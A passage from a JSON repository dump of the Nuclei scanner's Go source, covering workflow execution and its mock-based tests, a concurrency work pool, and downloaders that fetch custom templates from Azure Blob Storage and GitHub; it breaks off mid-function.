threads by one unit in case it's equal to 1 to allow\n\t// at least one subtemplate to go through, which it's idempotent to one in-flight template as the parent one is in an idle state\n\ttemplateThreads := w.Options.Options.TemplateThreads\n\tif templateThreads == 1 {\n\t\ttemplateThreads++\n\t}\n\tswg, _ := syncutil.New(syncutil.WithSize(templateThreads))\n\n\tfor _, template := range w.Workflows {\n\t\tnewCtx := scan.NewScanContext(ctx.Context(), ctx.Input.Clone())\n\t\tif err := e.runWorkflowStep(template, newCtx, results, swg, w); err != nil {\n\t\t\tgologger.Warning().Msgf(workflowStepExecutionError, template.Template, err)\n\t\t}\n\t}\n\n\tswg.Wait()\n\n\treturn results.Load()\n}\n\n// runWorkflowStep runs a workflow step for the workflow. It executes the workflow\n// in a recursive manner running all subtemplates and matchers.\nfunc (e *Engine) runWorkflowStep(template *workflows.WorkflowTemplate, ctx *scan.ScanContext, results *atomic.Bool, swg *syncutil.AdaptiveWaitGroup, w *workflows.Workflow) error {\n\tvar firstMatched bool\n\tvar err error\n\tvar mainErr error\n\n\tif len(template.Matchers) == 0 {\n\t\tfor _, executer := range template.Executers {\n\t\t\texecuter.Options.Progress.AddToTotal(int64(executer.Executer.Requests()))\n\n\t\t\t// Don't print results with subtemplates, only print results on template.\n\t\t\tif len(template.Subtemplates) > 0 {\n\t\t\t\tctx.OnResult = func(result *output.InternalWrappedEvent) {\n\t\t\t\t\tif result.OperatorsResult == nil {\n\t\t\t\t\t\treturn\n\t\t\t\t\t}\n\t\t\t\t\tif len(result.Results) > 0 {\n\t\t\t\t\t\tfirstMatched = true\n\t\t\t\t\t}\n\n\t\t\t\t\tif result.OperatorsResult != nil && result.OperatorsResult.Extracts != nil {\n\t\t\t\t\t\tfor k, v := range result.OperatorsResult.Extracts {\n\t\t\t\t\t\t\t// normalize items:\n\t\t\t\t\t\t\tswitch len(v) {\n\t\t\t\t\t\t\tcase 0, 1:\n\t\t\t\t\t\t\t\t// - key:[item] => key: item\n\t\t\t\t\t\t\t\tctx.Input.Set(k, v[0])\n\t\t\t\t\t\t\tdefault:\n\t\t\t\t\t\t\t\t// - key:[item_0, ..., item_n] => key0:item_0, keyn:item_n\n\t\t\t\t\t\t\t\tfor vIdx, vVal := range v {\n\t\t\t\t\t\t\t\t\tnormalizedKIdx := fmt.Sprintf(\"%s%d\", k, vIdx)\n\t\t\t\t\t\t\t\t\tctx.Input.Set(normalizedKIdx, vVal)\n\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t\t// also add the original name with full slice\n\t\t\t\t\t\t\t\tctx.Input.Set(k, v)\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t}\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t\t_, err = executer.Executer.ExecuteWithResults(ctx)\n\t\t\t} else {\n\t\t\t\tvar matched bool\n\t\t\t\tmatched, err = executer.Executer.Execute(ctx)\n\t\t\t\tif matched {\n\t\t\t\t\tfirstMatched = true\n\t\t\t\t}\n\t\t\t}\n\t\t\tif w.Options.HostErrorsCache != nil {\n\t\t\t\tw.Options.HostErrorsCache.MarkFailedOrRemove(w.Options.ProtocolType.String(), ctx.Input, err)\n\t\t\t}\n\t\t\tif err != nil {\n\t\t\t\tif len(template.Executers) == 1 {\n\t\t\t\t\tmainErr = err\n\t\t\t\t} else {\n\t\t\t\t\tgologger.Warning().Msgf(workflowStepExecutionError, template.Template, err)\n\t\t\t\t}\n\t\t\t\tcontinue\n\t\t\t}\n\t\t}\n\t}\n\tif len(template.Subtemplates) == 0 {\n\t\tresults.CompareAndSwap(false, firstMatched)\n\t}\n\tif len(template.Matchers) > 0 {\n\t\tfor _, executer := range template.Executers {\n\t\t\texecuter.Options.Progress.AddToTotal(int64(executer.Executer.Requests()))\n\n\t\t\tctx.OnResult = func(event *output.InternalWrappedEvent) {\n\t\t\t\tif event.OperatorsResult == nil {\n\t\t\t\t\treturn\n\t\t\t\t}\n\n\t\t\t\tif event.OperatorsResult.Extracts != nil {\n\t\t\t\t\tfor k, v := range event.OperatorsResult.Extracts {\n\t\t\t\t\t\tctx.Input.Set(k, v)\n\t\t\t\t\t}\n\t\t\t\t}\n\n\t\t\t\tfor _, matcher := range template.Matchers {\n\t\t\t\t\tif !matcher.Match(event.OperatorsResult) {\n\t\t\t\t\t\tcontinue\n\t\t\t\t\t}\n\n\t\t\t\t\tfor _, subtemplate := range matcher.Subtemplates {\n\t\t\t\t\t\tswg.Add()\n\n\t\t\t\t\t\tgo func(subtemplate *workflows.WorkflowTemplate) {\n\t\t\t\t\t\t\tdefer swg.Done()\n\n\t\t\t\t\t\t\t// create a new context with the same input but with unset callbacks\n\t\t\t\t\t\t\t// clone the Input so that other parallel executions won't overwrite the shared variables when subsequent templates are running\n\t\t\t\t\t\t\tsubCtx := scan.NewScanContext(ctx.Context(), ctx.Input.Clone())\n\t\t\t\t\t\t\tif err := e.runWorkflowStep(subtemplate, subCtx, results, swg, w); err != nil {\n\t\t\t\t\t\t\t\tgologger.Warning().Msgf(workflowStepExecutionError, subtemplate.Template, err)\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t}(subtemplate)\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t}\n\t\t\t_, err := executer.Executer.ExecuteWithResults(ctx)\n\t\t\tif err != nil {\n\t\t\t\tif len(template.Executers) == 1 {\n\t\t\t\t\tmainErr = err\n\t\t\t\t} else {\n\t\t\t\t\tgologger.Warning().Msgf(workflowStepExecutionError, template.Template, err)\n\t\t\t\t}\n\t\t\t\tcontinue\n\t\t\t}\n\t\t}\n\t\treturn mainErr\n\t}\n\tif len(template.Subtemplates) > 0 && firstMatched {\n\t\tfor _, subtemplate := range template.Subtemplates {\n\t\t\tswg.Add()\n\n\t\t\tgo func(template *workflows.WorkflowTemplate) {\n\t\t\t\t// create a new context with the same input but with unset callbacks\n\t\t\t\tsubCtx := scan.NewScanContext(ctx.Context(), ctx.Input)\n\t\t\t\tif err := e.runWorkflowStep(template, subCtx, results, swg, w); err != nil {\n\t\t\t\t\tgologger.Warning().Msgf(workflowStepExecutionError, template.Template, err)\n\t\t\t\t}\n\t\t\t\tswg.Done()\n\t\t\t}(subtemplate)\n\t\t}\n\t}\n\treturn mainErr\n}\n"
  },
  {
    "path": "pkg/core/workflow_execute_test.go",
    "content": "package core\n\nimport (\n\t\"context\"\n\t\"testing\"\n\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/model/types/stringslice\"\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/operators\"\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/output\"\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/progress\"\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/protocols\"\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/protocols/common/contextargs\"\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/scan\"\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/types\"\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/workflows\"\n\t\"github.com/stretchr/testify/require\"\n)\n\nfunc TestWorkflowsSimple(t *testing.T) {\n\tprogressBar, _ := progress.NewStatsTicker(0, false, false, false, 0)\n\n\tworkflow := &workflows.Workflow{Options: &protocols.ExecutorOptions{Options: &types.Options{TemplateThreads: 10}}, Workflows: []*workflows.WorkflowTemplate{\n\t\t{Executers: []*workflows.ProtocolExecuterPair{{\n\t\t\tExecuter: &mockExecuter{result: true}, Options: &protocols.ExecutorOptions{Progress: progressBar}},\n\t\t}},\n\t}}\n\n\tengine := &Engine{}\n\tinput := contextargs.NewWithInput(context.Background(), \"https://test.com\")\n\tctx := scan.NewScanContext(context.Background(), input)\n\tmatched := engine.executeWorkflow(ctx, workflow)\n\trequire.True(t, matched, \"could not get correct match value\")\n}\n\nfunc TestWorkflowsSimpleMultiple(t *testing.T) {\n\tprogressBar, _ := progress.NewStatsTicker(0, false, false, false, 0)\n\n\tvar firstInput, secondInput string\n\tworkflow := &workflows.Workflow{Options: &protocols.ExecutorOptions{Options: &types.Options{TemplateThreads: 10}}, Workflows: []*workflows.WorkflowTemplate{\n\t\t{Executers: []*workflows.ProtocolExecuterPair{{\n\t\t\tExecuter: &mockExecuter{result: true, executeHook: func(input *contextargs.MetaInput) {\n\t\t\t\tfirstInput = input.Input\n\t\t\t}}, Options: &protocols.ExecutorOptions{Progress: progressBar}},\n\t\t}},\n\t\t{Executers: []*workflows.ProtocolExecuterPair{{\n\t\t\tExecuter: &mockExecuter{result: true, executeHook: func(input *contextargs.MetaInput) {\n\t\t\t\tsecondInput = input.Input\n\t\t\t}}, Options: &protocols.ExecutorOptions{Progress: progressBar}},\n\t\t}},\n\t}}\n\n\tengine := &Engine{}\n\tinput := contextargs.NewWithInput(context.Background(), \"https://test.com\")\n\tctx := scan.NewScanContext(context.Background(), input)\n\tmatched := engine.executeWorkflow(ctx, workflow)\n\trequire.True(t, matched, \"could not get correct match value\")\n\n\trequire.Equal(t, \"https://test.com\", firstInput, \"could not get correct first input\")\n\trequire.Equal(t, \"https://test.com\", secondInput, \"could not get correct second input\")\n}\n\nfunc TestWorkflowsSubtemplates(t *testing.T) {\n\tprogressBar, _ := progress.NewStatsTicker(0, false, false, false, 0)\n\n\tvar firstInput, secondInput string\n\tworkflow := &workflows.Workflow{Options: &protocols.ExecutorOptions{Options: &types.Options{TemplateThreads: 10}}, Workflows: []*workflows.WorkflowTemplate{\n\t\t{Executers: []*workflows.ProtocolExecuterPair{{\n\t\t\tExecuter: &mockExecuter{result: true, executeHook: func(input *contextargs.MetaInput) {\n\t\t\t\tfirstInput = input.Input\n\t\t\t}, outputs: []*output.InternalWrappedEvent{\n\t\t\t\t{OperatorsResult: &operators.Result{}, Results: []*output.ResultEvent{{}}},\n\t\t\t}}, Options: &protocols.ExecutorOptions{Progress: progressBar}},\n\t\t}, Subtemplates: []*workflows.WorkflowTemplate{{Executers: []*workflows.ProtocolExecuterPair{{\n\t\t\tExecuter: &mockExecuter{result: true, executeHook: func(input *contextargs.MetaInput) {\n\t\t\t\tsecondInput = input.Input\n\t\t\t}}, Options: &protocols.ExecutorOptions{Progress: progressBar}},\n\t\t}}}},\n\t}}\n\n\tengine := &Engine{}\n\tinput := contextargs.NewWithInput(context.Background(), \"https://test.com\")\n\tctx := scan.NewScanContext(context.Background(), input)\n\tmatched := engine.executeWorkflow(ctx, workflow)\n\trequire.True(t, matched, \"could not get correct match value\")\n\n\trequire.Equal(t, \"https://test.com\", firstInput, \"could not get correct first input\")\n\trequire.Equal(t, \"https://test.com\", secondInput, \"could not get correct second input\")\n}\n\nfunc TestWorkflowsSubtemplatesNoMatch(t *testing.T) {\n\tprogressBar, _ := progress.NewStatsTicker(0, false, false, false, 0)\n\n\tvar firstInput, secondInput string\n\tworkflow := &workflows.Workflow{Options: &protocols.ExecutorOptions{Options: &types.Options{TemplateThreads: 10}}, Workflows: []*workflows.WorkflowTemplate{\n\t\t{Executers: []*workflows.ProtocolExecuterPair{{\n\t\t\tExecuter: &mockExecuter{result: false, executeHook: func(input *contextargs.MetaInput) {\n\t\t\t\tfirstInput = input.Input\n\t\t\t}}, Options: &protocols.ExecutorOptions{Progress: progressBar}},\n\t\t}, Subtemplates: []*workflows.WorkflowTemplate{{Executers: []*workflows.ProtocolExecuterPair{{\n\t\t\tExecuter: &mockExecuter{result: true, executeHook: func(input *contextargs.MetaInput) {\n\t\t\t\tsecondInput = input.Input\n\t\t\t}}, Options: &protocols.ExecutorOptions{Progress: progressBar}},\n\t\t}}}},\n\t}}\n\n\tengine := &Engine{}\n\tinput := contextargs.NewWithInput(context.Background(), \"https://test.com\")\n\tctx := scan.NewScanContext(context.Background(), input)\n\tmatched := engine.executeWorkflow(ctx, workflow)\n\trequire.False(t, matched, \"could not get correct match value\")\n\n\trequire.Equal(t, \"https://test.com\", firstInput, \"could not get correct first input\")\n\trequire.Equal(t, \"\", secondInput, \"could not get correct second input\")\n}\n\nfunc TestWorkflowsSubtemplatesWithMatcher(t *testing.T) {\n\tprogressBar, _ := progress.NewStatsTicker(0, false, false, false, 0)\n\n\tvar firstInput, secondInput string\n\tworkflow := &workflows.Workflow{Options: &protocols.ExecutorOptions{Options: &types.Options{TemplateThreads: 10}}, Workflows: []*workflows.WorkflowTemplate{\n\t\t{Executers: []*workflows.ProtocolExecuterPair{{\n\t\t\tExecuter: &mockExecuter{result: true, executeHook: func(input *contextargs.MetaInput) {\n\t\t\t\tfirstInput = input.Input\n\t\t\t}, outputs: []*output.InternalWrappedEvent{\n\t\t\t\t{OperatorsResult: &operators.Result{\n\t\t\t\t\tMatches:  map[string][]string{\"tomcat\": {}},\n\t\t\t\t\tExtracts: map[string][]string{},\n\t\t\t\t}},\n\t\t\t}}, Options: &protocols.ExecutorOptions{Progress: progressBar}},\n\t\t}, Matchers: []*workflows.Matcher{{Name: stringslice.StringSlice{Value: \"tomcat\"}, Subtemplates: []*workflows.WorkflowTemplate{{Executers: []*workflows.ProtocolExecuterPair{{\n\t\t\tExecuter: &mockExecuter{result: true, executeHook: func(input *contextargs.MetaInput) {\n\t\t\t\tsecondInput = input.Input\n\t\t\t}}, Options: &protocols.ExecutorOptions{Progress: progressBar}},\n\t\t}}}}}},\n\t}}\n\n\tengine := &Engine{}\n\tinput := contextargs.NewWithInput(context.Background(), \"https://test.com\")\n\tctx := scan.NewScanContext(context.Background(), input)\n\tmatched := engine.executeWorkflow(ctx, workflow)\n\trequire.True(t, matched, \"could not get correct match value\")\n\n\trequire.Equal(t, \"https://test.com\", firstInput, \"could not get correct first input\")\n\trequire.Equal(t, \"https://test.com\", secondInput, \"could not get correct second input\")\n}\n\nfunc TestWorkflowsSubtemplatesWithMatcherNoMatch(t *testing.T) {\n\tprogressBar, _ := progress.NewStatsTicker(0, false, false, false, 0)\n\n\tvar firstInput, secondInput string\n\tworkflow := &workflows.Workflow{Options: &protocols.ExecutorOptions{Options: &types.Options{TemplateThreads: 10}}, Workflows: []*workflows.WorkflowTemplate{\n\t\t{Executers: []*workflows.ProtocolExecuterPair{{\n\t\t\tExecuter: &mockExecuter{result: true, executeHook: func(input *contextargs.MetaInput) {\n\t\t\t\tfirstInput = input.Input\n\t\t\t}, outputs: []*output.InternalWrappedEvent{\n\t\t\t\t{OperatorsResult: &operators.Result{\n\t\t\t\t\tMatches:  map[string][]string{\"tomcat\": {}},\n\t\t\t\t\tExtracts: map[string][]string{},\n\t\t\t\t}},\n\t\t\t}}, Options: &protocols.ExecutorOptions{Progress: progressBar}},\n\t\t}, Matchers: []*workflows.Matcher{{Name: stringslice.StringSlice{Value: \"apache\"}, Subtemplates: []*workflows.WorkflowTemplate{{Executers: []*workflows.ProtocolExecuterPair{{\n\t\t\tExecuter: &mockExecuter{result: true, executeHook: func(input *contextargs.MetaInput) {\n\t\t\t\tsecondInput = input.Input\n\t\t\t}}, Options: &protocols.ExecutorOptions{Progress: progressBar}},\n\t\t}}}}}},\n\t}}\n\n\tengine := &Engine{}\n\tinput := contextargs.NewWithInput(context.Background(), \"https://test.com\")\n\tctx := scan.NewScanContext(context.Background(), input)\n\tmatched := engine.executeWorkflow(ctx, workflow)\n\trequire.False(t, matched, \"could not get correct match value\")\n\n\trequire.Equal(t, \"https://test.com\", firstInput, \"could not get correct first input\")\n\trequire.Equal(t, \"\", secondInput, \"could not get correct second input\")\n}\n\ntype mockExecuter struct {\n\tresult      bool\n\texecuteHook func(input *contextargs.MetaInput)\n\toutputs     []*output.InternalWrappedEvent\n}\n\n// Compile compiles the execution generators preparing any requests possible.\nfunc (m *mockExecuter) Compile() error {\n\treturn nil\n}\n\n// Requests returns the total number of requests the rule will perform\nfunc (m *mockExecuter) Requests() int {\n\treturn 1\n}\n\n// Execute executes the protocol group and  returns true or false if results were found.\nfunc (m *mockExecuter) Execute(ctx *scan.ScanContext) (bool, error) {\n\tif m.executeHook != nil {\n\t\tm.executeHook(ctx.Input.MetaInput)\n\t}\n\treturn m.result, nil\n}\n\n// ExecuteWithResults executes the protocol requests and returns results instead of writing them.\nfunc (m *mockExecuter) ExecuteWithResults(ctx *scan.ScanContext) ([]*output.ResultEvent, error) {\n\tif m.executeHook != nil {\n\t\tm.executeHook(ctx.Input.MetaInput)\n\t}\n\tfor _, output := range m.outputs {\n\t\tctx.LogEvent(output)\n\t}\n\treturn ctx.GenerateResult(), nil\n}\n"
  },
  {
    "path": "pkg/core/workpool.go",
    "content": "package core\n\nimport (\n\t\"context\"\n\n\t\"github.com/projectdiscovery/gologger\"\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/templates/types\"\n\tsyncutil \"github.com/projectdiscovery/utils/sync\"\n)\n\n// WorkPool implements an execution pool for executing different\n// types of task with different concurrency requirements.\n//\n// It also allows Configuration of such requirements. This is used\n// for per-module like separate headless concurrency etc.\ntype WorkPool struct {\n\tHeadless *syncutil.AdaptiveWaitGroup\n\tDefault  *syncutil.AdaptiveWaitGroup\n\tconfig   WorkPoolConfig\n}\n\n// WorkPoolConfig is the configuration for work pool\ntype WorkPoolConfig struct {\n\t// InputConcurrency is the concurrency for inputs values.\n\tInputConcurrency int\n\t// TypeConcurrency is the concurrency for the request type templates.\n\tTypeConcurrency int\n\t// HeadlessInputConcurrency is the concurrency for headless inputs values.\n\tHeadlessInputConcurrency int\n\t// TypeConcurrency is the concurrency for the headless request type templates.\n\tHeadlessTypeConcurrency int\n}\n\n// NewWorkPool returns a new WorkPool instance\nfunc NewWorkPool(config WorkPoolConfig) *WorkPool {\n\theadlessWg, _ := syncutil.New(syncutil.WithSize(config.HeadlessTypeConcurrency))\n\tdefaultWg, _ := syncutil.New(syncutil.WithSize(config.TypeConcurrency))\n\n\treturn &WorkPool{\n\t\tconfig:   config,\n\t\tHeadless: headlessWg,\n\t\tDefault:  defaultWg,\n\t}\n}\n\n// Wait waits for all the work pool wait groups to finish\nfunc (w *WorkPool) Wait() {\n\tw.Default.Wait()\n\tw.Headless.Wait()\n}\n\n// InputPool returns a work pool for an input type\nfunc (w *WorkPool) InputPool(templateType types.ProtocolType) *syncutil.AdaptiveWaitGroup {\n\tvar count int\n\tif templateType == types.HeadlessProtocol {\n\t\tcount = w.config.HeadlessInputConcurrency\n\t} else {\n\t\tcount = w.config.InputConcurrency\n\t}\n\tswg, _ := syncutil.New(syncutil.WithSize(count))\n\treturn swg\n}\n\nfunc (w *WorkPool) RefreshWithConfig(config WorkPoolConfig) {\n\tif w.config.TypeConcurrency != config.TypeConcurrency {\n\t\tw.config.TypeConcurrency = config.TypeConcurrency\n\t}\n\tif w.config.HeadlessTypeConcurrency != config.HeadlessTypeConcurrency {\n\t\tw.config.HeadlessTypeConcurrency = config.HeadlessTypeConcurrency\n\t}\n\tif w.config.InputConcurrency != config.InputConcurrency {\n\t\tw.config.InputConcurrency = config.InputConcurrency\n\t}\n\tif w.config.HeadlessInputConcurrency != config.HeadlessInputConcurrency {\n\t\tw.config.HeadlessInputConcurrency = config.HeadlessInputConcurrency\n\t}\n\tw.Refresh(context.Background())\n}\n\nfunc (w *WorkPool) Refresh(ctx context.Context) {\n\tif w.Default.Size != w.config.TypeConcurrency {\n\t\tif err := w.Default.Resize(ctx, w.config.TypeConcurrency); err != nil {\n\t\t\tgologger.Warning().Msgf(\"Could not resize workpool: %s\\n\", err)\n\t\t}\n\t}\n\tif w.Headless.Size != w.config.HeadlessTypeConcurrency {\n\t\tif err := w.Headless.Resize(ctx, w.config.HeadlessTypeConcurrency); err != nil {\n\t\t\tgologger.Warning().Msgf(\"Could not resize workpool: %s\\n\", err)\n\t\t}\n\t}\n}\n"
  },
  {
    "path": "pkg/external/customtemplates/azure_blob.go",
    "content": "package customtemplates\n\nimport (\n\t\"bytes\"\n\t\"context\"\n\t\"os\"\n\t\"path/filepath\"\n\t\"strings\"\n\n\t\"github.com/Azure/azure-sdk-for-go/sdk/azidentity\"\n\t\"github.com/Azure/azure-sdk-for-go/sdk/storage/azblob\"\n\t\"github.com/projectdiscovery/gologger\"\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/catalog/config\"\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/types\"\n\t\"github.com/projectdiscovery/utils/errkit\"\n)\n\nvar _ Provider = &customTemplateAzureBlob{}\n\ntype customTemplateAzureBlob struct {\n\tazureBlobClient *azblob.Client\n\tcontainerName   string\n}\n\n// NewAzureProviders creates a new Azure Blob Storage provider for downloading custom templates\nfunc NewAzureProviders(options *types.Options) ([]*customTemplateAzureBlob, error) {\n\tproviders := []*customTemplateAzureBlob{}\n\tif options.AzureContainerName != \"\" && !options.AzureTemplateDisableDownload {\n\t\t// Establish a connection to Azure and build a client object with which to download templates from Azure Blob Storage\n\t\tazClient, err := getAzureBlobClient(options.AzureTenantID, options.AzureClientID, options.AzureClientSecret, options.AzureServiceURL)\n\t\tif err != nil {\n\t\t\terrx := errkit.FromError(err)\n\t\t\terrx.Msgf(\"Error establishing Azure Blob client for %s\", options.AzureContainerName)\n\t\t\treturn nil, errx\n\t\t}\n\n\t\t// Create a new Azure Blob Storage container object\n\t\tazTemplateContainer := &customTemplateAzureBlob{\n\t\t\tazureBlobClient: azClient,\n\t\t\tcontainerName:   options.AzureContainerName,\n\t\t}\n\n\t\t// Add the Azure Blob Storage container object to the list of custom templates\n\t\tproviders = append(providers, azTemplateContainer)\n\t}\n\treturn providers, nil\n}\n\nfunc getAzureBlobClient(tenantID string, clientID string, clientSecret string, serviceURL string) (*azblob.Client, error) {\n\t// Create an Azure credential using the provided credentials\n\tcredentials, err := azidentity.NewClientSecretCredential(tenantID, clientID, clientSecret, nil)\n\tif err != nil {\n\t\tgologger.Error().Msgf(\"Invalid Azure credentials: %v\", err)\n\t\treturn nil, err\n\t}\n\n\t// Create a client to manage Azure Blob Storage\n\tclient, err := azblob.NewClient(serviceURL, credentials, nil)\n\tif err != nil {\n\t\tgologger.Error().Msgf(\"Error creating Azure Blob client: %v\", err)\n\t\treturn nil, err\n\t}\n\n\treturn client, nil\n}\n\nfunc (bk *customTemplateAzureBlob) Download(ctx context.Context) {\n\t// Set an incrementer for the number of templates downloaded\n\tvar templatesDownloaded = 0\n\n\t// Define the local path to which the templates will be downloaded\n\tdownloadPath := filepath.Join(config.DefaultConfig.CustomAzureTemplatesDirectory, bk.containerName)\n\n\t// Get the list of all templates from the container\n\tpager := bk.azureBlobClient.NewListBlobsFlatPager(bk.containerName, &azblob.ListBlobsFlatOptions{\n\t\t// Don't include previous versions of the templates if versioning is enabled on the container\n\t\tInclude: azblob.ListBlobsInclude{Snapshots: false, Versions: false},\n\t})\n\n\t// Loop through the list of blobs in the container and determine if they should be added to the list of templates\n\t// to be returned, and subsequently downloaded\n\tfor pager.More() {\n\t\tresp, err := pager.NextPage(context.TODO())\n\t\tif err != nil {\n\t\t\tgologger.Error().Msgf(\"Error listing templates in Azure Blob container: %v\", err)\n\t\t\treturn\n\t\t}\n\n\t\tfor _, blob := range resp.Segment.BlobItems {\n\t\t\t// If the blob is a .yaml download the file to the local filesystem\n\t\t\tif strings.HasSuffix(*blob.Name, \".yaml\") {\n\t\t\t\t// Download the template to the local filesystem at the downloadPath\n\t\t\t\terr := downloadTemplate(bk.azureBlobClient, bk.containerName, *blob.Name, filepath.Join(downloadPath, *blob.Name), ctx)\n\t\t\t\tif err != nil {\n\t\t\t\t\tgologger.Error().Msgf(\"Error downloading template: %v\", err)\n\t\t\t\t} else {\n\t\t\t\t\t// Increment the number of templates downloaded\n\t\t\t\t\ttemplatesDownloaded++\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t}\n\n\t// Log the number of templates downloaded\n\tgologger.Info().Msgf(\"Downloaded %d templates from Azure Blob Storage container '%s' to: %s\", templatesDownloaded, bk.containerName, downloadPath)\n}\n\n// Update updates the templates from the Azure Blob Storage container to the local filesystem. This is effectively a\n// wrapper of the Download function which downloads of all templates from the container and doesn't manage a\n// differential update.\nfunc (bk *customTemplateAzureBlob) Update(ctx context.Context) {\n\t// Treat the update as a download of all templates from the container\n\tbk.Download(ctx)\n}\n\n// downloadTemplate downloads a template from the Azure Blob Storage container to the local filesystem with the provided\n// blob path and outputPath.\nfunc downloadTemplate(client *azblob.Client, containerName string, path string, outputPath string, ctx context.Context) error {\n\t// Download the blob as a byte stream\n\tget, err := client.DownloadStream(ctx, containerName, path, nil)\n\tif err != nil {\n\t\tgologger.Error().Msgf(\"Error downloading template: %v\", err)\n\t\treturn err\n\t}\n\n\tdownloadedData := bytes.Buffer{}\n\tretryReader := get.NewRetryReader(ctx, &azblob.RetryReaderOptions{})\n\t_, err = downloadedData.ReadFrom(retryReader)\n\tif err != nil {\n\t\tgologger.Error().Msgf(\"Error reading template: %v\", err)\n\t\treturn err\n\t}\n\n\terr = retryReader.Close()\n\tif err != nil {\n\t\tgologger.Error().Msgf(\"Error closing template filestream: %v\", err)\n\t\treturn err\n\t}\n\n\t// Ensure the directory exists\n\terr = os.MkdirAll(filepath.Dir(outputPath), 0755)\n\tif err != nil {\n\t\tgologger.Error().Msgf(\"Error creating directory: %v\", err)\n\t\treturn err\n\t}\n\n\t// Write the downloaded template to the local filesystem at the outputPath with the filename of the blob name\n\terr = os.WriteFile(outputPath, downloadedData.Bytes(), 0644)\n\n\treturn err\n}\n"
  },
  {
    "path": "pkg/external/customtemplates/github.go",
    "content": "package customtemplates\n\nimport (\n\t\"context\"\n\thttpclient \"net/http\"\n\t\"path/filepath\"\n\t\"strings\"\n\n\t\"github.com/go-git/go-git/v5\"\n\t\"github.com/go-git/go-git/v5/plumbing/transport/http\"\n\t\"github.com/google/go-github/github\"\n\t\"github.com/pkg/errors\"\n\t\"github.com/projectdiscovery/gologger\"\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/catalog/config\"\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/types\"\n\t\"github.com/projectdiscovery/utils/errkit\"\n\tfileutil \"github.com/projectdiscovery/utils/file\"\n\tfolderutil \"github.com/projectdiscovery/utils/folder\"\n\t\"golang.org/x/oauth2\"\n)\n\nvar _ Provider = &customTemplateGitHubRepo{}\n\ntype customTemplateGitHubRepo struct {\n\towner       string\n\treponame    string\n\tgitCloneURL string\n\tgithubToken string\n}\n\n// This function download the custom github template repository\nfunc (customTemplate *customTemplateGitHubRepo) Download(ctx context.Context) {\n\tclonePath := customTemplate.getLocalRepoClonePath(config.DefaultConfig.CustomGitHubTemplatesDirectory)\n\n\tif !fileutil.FolderExists(clonePath) {\n\t\terr := customTemplate.cloneRepo(clonePath, customTemplate.githubToken)\n\t\tif err != nil {\n\t\t\tgologger.Error().Msgf(\"%s\", err)\n\t\t} else {\n\t\t\tgologger.Info().Msgf(\"Repo %s/%s cloned successfully at %s\", customTemplate.owner, customTemplate.reponame, clonePath)\n\t\t}\n\t\treturn\n\t}\n}\n\nfunc (customTemplate *customTemplateGitHubRepo) Update(ctx context.Context) {\n\tdownloadPath := config.DefaultConfig.CustomGitHubTemplatesDirectory\n\tclonePath := customTemplate.getLocalRepoClonePath(downloadPath)\n\n\t// If folder does not exist then clone/download the repo\n\tif !fileutil.FolderExists(clonePath) {\n\t\tcustomTemplate.Download(ctx)\n\t\treturn\n\t}\n\n\t// Attempt to pull changes and handle the result\n\tcustomTemplate.handlePullChanges(clonePath)\n}\n\n// handlePullChanges attempts to pull changes and logs the appropriate message\nfunc (customTemplate *customTemplateGitHubRepo) handlePullChanges(clonePath string) {\n\terr := customTemplate.pullChanges(clonePath, customTemplate.githubToken)\n\n\tswitch {\n\tcase err == nil:\n\t\tcustomTemplate.logPullSuccess()\n\tcase errors.Is(err, git.NoErrAlreadyUpToDate):\n\t\tcustomTemplate.logAlreadyUpToDate(err)\n\tdefault:\n\t\tcustomTemplate.logPullError(err)\n\t}\n}\n\n// logPullSuccess logs a success message when changes are pulled\nfunc (customTemplate *customTemplateGitHubRepo) logPullSuccess() {\n\tgologger.Info().Msgf(\"Repo %s/%s successfully pulled the changes.\\n\", customTemplate.owner, customTemplate.reponame)\n}\n\n// logAlreadyUpToDate logs an info message when repo is already up to date\nfunc (customTemplate *customTemplateGitHubRepo) logAlreadyUpToDate(err error) {\n\tgologger.Info().Msgf(\"%s\", err)\n}\n\n// logPullError logs an error message when pull fails\nfunc (customTemplate *customTemplateGitHubRepo) logPullError(err error) {\n\tgologger.Error().Msgf(\"%s\", err)\n}\n\n// NewGitHubProviders returns new instance of GitHub providers for downloading custom templates\nfunc NewGitHubProviders(options *types.Options) ([]*customTemplateGitHubRepo, error) {\n\tproviders := []*customTemplateGitHubRepo{}\n\tgitHubClient := getGHClientIncognito()\n\n\tif options.GitHubTemplateDisableDownload {\n\t\treturn providers, nil\n\t}\n\n\tfor _, repoName := range options.GitHubTemplateRepo {\n\t\towner, repo, err := getOwnerAndRepo(repoName)\n\t\tif err != nil {\n\t\t\tgologger.Error().Msgf(\"%s\", err)\n\t\t\tcontinue\n\t\t}\n\t\tgithubRepo, err := getGitHubRepo(gitHubClient, owner, repo, options.GitHubToken)\n\t\tif err != nil {\n\t\t\tgologger.Error().Msgf(\"%s\", err)\n\t\t\tcontinue\n\t\t}\n\t\tcustomTemplateRepo := &customTemplateGitHubRepo{\n\t\t\towner:       owner,\n\t\t\treponame:    repo,\n\t\t\tgitCloneURL: githubRepo.GetCloneURL(),\n\t\t\tgithubToken: options.GitHubToken,\n\t\t}\n\t\tproviders = append(providers, customTemplateRepo)\n\n\t\tcustomTemplateRepo.restructureRepoDir()\n\t}\n\treturn providers, nil\n}\n\nfunc (customTemplateRepo *customTemplateGitHubRepo) restructureRepoDir() {\n\tcustomGitHubTemplatesDirectory := config.DefaultConfig.CustomGitHubTemplatesDirectory\n\toldRepoClonePath := filepath.Join(customGitHubTemplatesDirectory, 